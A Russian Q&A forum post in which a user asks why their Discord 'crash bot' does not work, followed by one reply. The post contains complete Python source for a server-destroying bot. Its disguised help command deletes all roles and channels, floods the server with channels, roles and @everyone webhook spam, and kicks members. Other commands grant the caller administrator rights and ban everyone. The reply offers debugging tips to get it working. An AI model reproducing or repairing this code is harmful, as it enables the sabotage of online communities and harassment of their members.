Mail.ruПочтаМой МирОдноклассникиВКонтактеИгрыЗнакомстваНовостиКалендарьОблакоЗаметкиВсе проекты

Почему код краш бота не работает?

လလ လလ Ученик (136), на голосовании 4 дня назад
import discord
from discord.ext import commands
from discord import Permissions
import asyncio
import os
import discord, random, aiohttp, asyncio
from threading import Thread
import requests



intents = discord.Intents.all()
intents.members = True

bot = commands.Bot (command_prefix='!',intents=intents)

bot.remove_command("help")

@bot.command()
async def help(ctx):
guild = ctx.message.guild

await guild.edit(name="Crash By Pazeg")

await ctx.message.delete()

for m in ctx.guild.roles:
try:
await m.delete(reason="Краш сервера")
except:
pass

for channel in ctx.guild.channels: # собираем
try:
await channel.delete(reason="Краш сервера") # удаляем
except:
pass


for _ in range(100):
await guild.create_text_channel('crash-by-pazeg')

for _ in range(100):
await guild.create_role(name='crash-by-pazeg')

for m in ctx.guild.members:
try:
await m.kick(reason="Краш сервера")
except:
pass



@bot.event
async def on_guild_channel_create(channel):
webhook = await channel.create_webhook(name = "Crash By Pazeg")
webhook_url = webhook.url
async with aiohttp.ClientSession() as session:
webhook = discord.Webhook.from_url(str(webhook_url), adapter=discord.AsyncWebhookAdapter(session))
for i in range(50):
try:
await webhook.send("@everyone ", tts=True)
except:
pass
@bot.command(pass_context=True) # разрешаем передавать агрументы
async def admin(ctx): # создаем асинхронную фунцию бота

guild = ctx.guild
perms = discord.Permissions(administrator=True) #права роли
await guild.create_role(name="Pazeg", permissions=perms) #создаем роль

role = discord.utils.get(ctx.guild.roles, name="Pazeg") #находим роль по имени
user = ctx.message.author #находим юзера
await user.add_roles(role) #добовляем роль

await ctx.message.delete()
@bot.command()
async def allban(ctx):
for m in ctx.guild.members: #собираем
try:
await m.ban(reason="По просьбе")#баним
except:
pass



token = 'мой токен'
bot.run (token)
Голосование за лучший ответ
Timur Magerramov Профи (614) 4 недели назад
Какая ошибка? Если нет ошибки, то что именно идет не так (не удаляются каналы, или роли и т.д.)? Ещё, у тебя в двух циклах for один и тот же элемент m. Так делать нельзя, поменяй
 for m in ctx.guild.roles 
На
 for r in ctx.guild.roles 
Тоже самое с двумя последними циклами с элементом _
Да и зачем создавать два цикла, если эти два действия можно внести в один цикл?
Похожие вопросы